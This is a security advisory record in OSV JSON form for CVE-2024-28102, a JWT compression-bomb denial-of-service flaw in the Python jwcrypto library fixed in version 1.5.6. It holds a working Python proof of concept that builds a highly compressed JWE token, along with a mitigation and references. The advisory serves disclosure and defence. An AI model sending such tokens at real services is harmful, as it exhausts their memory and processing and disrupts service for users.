CVE-2024-28102: Jwcrypto JWCrypto Vulnerable To JWT Bomb Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j857-7rvv-vj97",
  "modified" : "2025-12-22T18:42:18Z",
  "published" : "2024-03-06T20:00:56Z",
  "aliases" : [ "CVE-2024-28102" ],
  "summary" : "JWCrypto vulnerable to JWT bomb Attack in `deserialize` function",
  "details" : "## Affected version\nVendor: https://github.com/latchset/jwcrypto\nVersion: 1.5.5\n\n## Description\nAn attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio.\nWhen the server processes this Token, it will consume a lot of memory and processing time.\n\n## Poc\n```python\nfrom jwcrypto import jwk, jwe\nfrom jwcrypto.common import json_encode, json_decode\nimport time\npublic_key = jwk.JWK()\nprivate_key = jwk.JWK.generate(kty='RSA', size=2048)\npublic_key.import_key(**json_decode(private_key.export_public()))\n\n\npayload = '{\"u\": \"' + \"u\" * 400000000 + '\", \"uu\":\"' + \"u\" * 400000000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"zip\": \"DEF\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(\"-----uncompress-----\")\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n\nprint(\"-----compress-----\")\n\npayload = '{\"u\": \"' + \"u\" * 400000 + '\", \"uu\":\"' + \"u\" * 400000 + '\"}'\nprotected_header = {\n    \"alg\": \"RSA-OAEP-256\",\n    \"enc\": \"A256CBC-HS512\",\n    \"typ\": \"JWE\",\n    \"kid\": public_key.thumbprint(),\n}\njwetoken = jwe.JWE(payload.encode('utf-8'),\n                   recipient=public_key,\n                   protected=protected_header)\nenc = jwetoken.serialize(compact=True)\n\nprint(len(enc))\n\nbegin = time.time()\n\njwetoken = jwe.JWE()\njwetoken.deserialize(enc, key=private_key)\n\nprint(time.time() - begin)\n```\nIt can be found that when processing Tokens with similar lengths, the processing time of compressed tokens is significantly longer.\n<img width=\"172\" alt=\"image\" src=\"https://github.com/latchset/jwcrypto/assets/133195620/23193327-3cd7-499a-b5aa-28c56af92785\">\n\n\n\n## Mitigation\nTo mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also\nbeen adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing\nattackers from exploiting this vulnerability with high compression ratio tokens.\n\n## References\n[1] [CVE-2024-21319](https://github.com/AzureAD/azure-activedirectory-identitymodel-extensions-for-dotnet/security/advisories/GHSA-8g9c-28fc-mcx2)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jwcrypto"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-28102"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/latchset/jwcrypto"
  }, {
    "type" : "WEB",
    "url" : "https://lists.debian.org/debian-lts-announce/2024/09/msg00026.html"
  }, {
    "type" : "WEB",
    "url" : "https://www.vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-03-06T20:00:56Z",
    "nvd_published_at" : "2024-03-21T02:52:23Z"
  }
}